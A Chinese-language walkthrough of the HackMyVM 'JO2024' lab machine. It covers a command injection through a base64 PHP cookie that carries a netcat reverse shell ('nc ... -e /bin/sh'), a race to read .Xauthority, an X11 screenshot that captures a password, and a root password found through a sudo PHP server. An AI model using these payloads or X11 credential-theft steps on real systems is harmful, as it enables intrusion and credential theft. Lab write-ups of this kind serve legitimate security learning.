HMV JO2024
Todd

信息收集

NAMP 扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
IP=192.168.0.135
nmap -A $IP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-21 03:50 EDT
Nmap scan report for 192.168.0.135
Host is up (0.0014s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA)
|_ 256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519)
80/tcp open http Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Paris 2024 Olympic Games
MAC Address: 08:00:27:86:FD:D1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.35 ms 192.168.0.135

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.51 seconds

开着 80,看一眼首页,应该是和 2024 年的奥运会有关。几个链接都点不开。

看了下主机名: jo2024.hmv

1
gobuster dir -u http://$IP -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt  -x php,txt,html,7z,zip,pdf

跑出来一个 /preferences.php
第一次看到了说 Cookie 咋滴,手一抖刷新了下没了,然后就说

1
2
3
Your language setting is fr.

Your background color is #ddd.

然后一看 Cookie:

1
preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjI6ImZyIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ%3D%3D

后面应该是 url 编码了个 == 明显是一个 base64 编码的字符串,解码一下:

1
O:15:"UserProfile":2:{s:8:"language";s:6:"fr";s:15:"backgroundColor";s:4:"#ddd";}

这个明显是 php 的序列化字符串,第一反应就是如何用反序列化漏洞了。

目前这个里面只有两个字段,一个是语言,一个是背景颜色,看起来是一个用户的配置文件。又没有源代码,魔术方法也看不见,那么怎么利用呢?

在这个反序列上卡了一万年后,最后大佬说,language 的值可以直接执行系统指令。。这个我是真没想到。。

1
2

curl http://$IP/preferences.php --cookie "preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyOntzOjg6Imxhbmd1YWdlIjtzOjMxOiJuYyAxOTIuMTY4LjAuMzAgMTIzNCAtZSAvYmluL3NoIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ%3D%3D"

拿了个 webshell。www-data 权限。
升级下 shell

1
2
3
4
5
6
7
8
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /etc/passwd
vanity:x:1000:1000:,,,:/home/vanity:/bin/bash
www-data@jo2024:/home/vanity$ ls
Desktop Documents Images backup creds user.txt
www-data@jo2024:/home/vanity$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

提权

没权限看 user.txtsudo -l,需要输入密码。不知道密码。 有个 backup,猜测应该有备份的任务。在用户 vanity 的 home 里看到了一个 backup 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

SRC="/home/vanity"
DEST="/backup"

rm -rf /backup/{_,._}

echo "Starting copy..."
find "$SRC" -maxdepth 1 -type f ! -name user.txt | while read srcfile; do
destfile="$DEST${srcfile#$SRC}"
mkdir -p "$(dirname "$destfile")"
dd if="$srcfile" of="$destfile" bs=4M

md5src=$(md5sum "$srcfile" | cut -d ' ' -f1)
md5dest=$(md5sum "$destfile" | cut -d ' ' -f1)
if [[ "$md5src" != "$md5dest" ]]; then
echo "MD5 mismatch for $srcfile :("
fi
chmod 700 "$destfile"

done

echo "Copy complete. All files verified !"

大概的意思就是把 vanity 的文件备份到 /backup 目录下,然后验证 md5,如果不一样就输出 MD5 mismatch for $srcfile。然后 chmod 700 $destfile。
这里有一个小问题,dd命令是一个低级别的复制命令,一般在复制整个硬盘的时候用。比如做启动盘的时候,都是直接dd.
然后有一个比较关键的点,dd命令执行的时候会修改文件的权限,所以脚本在 dd 后用 chmod 700 来修改文件权限。 关于这一点,一会文末总结一波。

所以,我们可以在这个时间内,去读到 .Xauthority 这个文件,这个文件是用来存储 X11 的验证信息的。

这里有个细节问题:
.Xauthority 这个文件是二进制的,所以用 cat 读取的时候会乱码。拿出来也没用。所以用 XXD 来读取。而靶机显然不会有 XXD,所以我们简单弄一个 busybox 过去就好了。

用大佬的脚本:

1
for i in $(seq 10000);do /tmp/busybox xxd /backup/.Xauthority|tee -a d.log ;done

看到屏幕一闪而过,就看见 .Xauthority 在 d.log 里了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
00000000: 0100 0006 6465 6269 616e 0002 3131 0012  ....debian..11..
00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE
00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[..
00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian..
00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO
00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m..
00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202
00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA
00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1....
00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P
00000000: 0100 0006 6465 6269 616e 0002 3131 0012 ....debian..11..
00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE
00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[..
00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian..
00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO
00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m..
00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202
00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA
00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1....
00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P
00000000: 0100 0006 6465 6269 616e 0002 3131 0012 ....debian..11..
00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE
00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[..
00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian..
00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO
00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m..
00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202
00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA
00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1....
00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P
00000000: 0100 0006 6465 6269 616e 0002 3131 0012 ....debian..11..
00000010: 4d49 542d 4d41 4749 432d 434f 4f4b 4945 MIT-MAGIC-COOKIE
00000020: 2d31 0010 e23e 37c8 0ab2 4558 4a5b f010 -1...>7...EXJ[..
00000030: c6d3 6685 0100 0006 6465 6269 616e 0001 ..f.....debian..
00000040: 3000 124d 4954 2d4d 4147 4943 2d43 4f4f 0..MIT-MAGIC-COO
00000050: 4b49 452d 3100 10f9 9d8e bcf0 f56d 8f00 KIE-1........m..
00000060: 036c 4aac edb2 0c01 0000 0a6a 6f32 3032 .lJ........jo202
00000070: 342e 686d 7600 0130 0012 4d49 542d 4d41 4.hmv..0..MIT-MA
00000080: 4749 432d 434f 4f4b 4945 2d31 0010 06dd GIC-COOKIE-1....
00000090: 695c f35b 0a15 dc99 0f50 9130 e650 i\.[.....P.0.P

在 CyberChef 里解码一下,save 出来文件,再丢到靶机上。

1
2
3
4
5
6
xauth -f download.dat
Using authority file download.dat
xauth> list
debian/unix:11 MIT-MAGIC-COOKIE-1 e23e37c80ab245584a5bf010c6d36685
debian/unix:0 MIT-MAGIC-COOKIE-1 f99d8ebcf0f56d8f00036c4aacedb20c
jo2024.hmv/unix:0 MIT-MAGIC-COOKIE-1 06dd695cf35b0a15dc990f509130e650

就看看见验证信息了。这个 X11 的东西见过很多次了,不过完全不知道咋用。 hacktricks 上有一套利用方案 https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11#enumeratio

而且还有一个细节,就是在 pspy 里看进程的时候,靶机设计了一个 mousepad 的进程,这个是用来打开文本文件的,打开的文件是:

1
/us/bin/mousepad /home/vanity/creds/credentials.txt

看起来是显示密码用的。不过是图形化里的。
在用户的家目录有一个脚本:

1
2
3
4
5
6
7
8
9
/home/vanity/.local$ cat mousepad.sh

#!/bin/bash

rm -f /home/vanity/.local/share/Mousepad/auto\*
/usr/bin/mousepad /home/vanity/creds/credentials.txt &
sleep 1
wmctrl -r "credentials.txt - Mousepad" -b add,maximized_vert,maximized_horz

看到每 1s 就会执行一次这个脚本,然后就是打开这个文件。简单来说这文件基本上一直开着。

1
2
export XAUTHORITY=/tmp/download.dat
xwd -root -screen -silent -display :0 > screenshot.xwd

直接在 kali 的图形界面里双击就能看见了:
image

1
vanity:xd0oITR93KIQDbiD

提权 root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssh vanity@$IP
sudo -l
Matching Defaults entries for vanity on jo2024:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vanity may run the following commands on jo2024:
(ALL : ALL) NOPASSWD: /usr/local/bin/php-server.sh

cat /usr/local/bin/php-server.sh
#!/bin/bash

/usr/bin/php -t /opt -S 0.0.0.0:8000

ls -al /opt/
ls: cannot open directory '/opt/': Permission denied


sudo /usr/local/bin/php-server.sh
[Fri Aug 23 04:31:47 2024] PHP 8.2.20 Development Server (http://0.0.0.0:8000) started

可以用 sudo 来启动一个 php 服务器,这个服务器 -t 指定了目录, -S 指定了端口。 不过/opt 目录是没有权限的。

浏览器打开 8000 端口,看到了一个 Olympic Athlete Password Leaked! 的页面。打开源码能看见:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const csrfToken =
"0b8c28722248d54790eb611700a9c76afbdada117ee57f7bb3b7ce72c84f10c7";

document.addEventListener("DOMContentLoaded", function () {
fetch("get_protected_content.php", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ token: csrfToken }),
})
.then((response) => response.json())
.then((data) => {
if (data.content) {
document
.getElementById("protected-content")
.setAttribute("data-content", data.content);
} else {
console.error("Failed to load content:", data);
}
})
.catch((error) => console.error("Error fetching content:", error));
});

function showOverlay() {
document.getElementById("overlay").classList.add("show-overlay");
}

function hideOverlay() {
document.getElementById("overlay").classList.remove("show-overlay");
}

window.activateFeature = function () {
var contentDiv = document.getElementById("protected-content");
var protectedContent = contentDiv.getAttribute("data-content");
if (protectedContent) {
contentDiv.innerHTML = protectedContent;
contentDiv.style.background = "none";
contentDiv.style.color = "#333";
contentDiv.classList.remove("blurred");
hideOverlay();
} else {
console.error("No content available");
}
};

document.addEventListener("keydown", function (event) {
if (event.key === "Escape") {
hideOverlay();
}
});

get_protected_content.php 的返回值:

1
2
3
4
    {"content":"As part of a recent cyber attack, we managed to access Usain Bolt's personal account. The password associated with his account is

<strong>
LightningBolt123<\/strong>. This breach demonstrates the vulnerabilities of even the most secure systems."}

这个是个啥密码?

1
2
3
vanity@jo2024:~$ su -
Password:
root@jo2024:~# cat /root/root.txt

神奇吗,竟然是root密码。差一点就要去扫一波目录了。。

总结

  • 靶场里的 X11 相关的信息是一概不懂,压根没用过,只是知道这玩意是图形化远程用的东西。这个是一个很好的学习机会,
  • dd 命令我自己感觉会维持原有权限, 然后搜不到特别明确的资料,所以我问了 ChatGPT,结果这货告诉我我是对的。然后我就信了。所以这个是一个很好的教训,要自己去验证。
    看看大佬是如何验证的:

image
先是试了试。
然后顺带手查了下源码, https://github.com/coreutils/coreutils/blob/master/src/dd.c
image
image
image
https://github.com/coreutils/coreutils/blob/master/src/system.h#L26
image
image
image
image
image
image

你说 6 不 6 吧,真是 666 .

其实如果你中英文都用了,换了一堆搜索词,还是都查不到相关资料,大概率 GPT 也并没有学过这个资料,所以你问他的时候,他基本上也是瞎说。所以这个时候你要想办法去找第一手资料,或者自己想办法去验证。

好了,完结撒花。 🎉

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 74.6k 访客数 访问量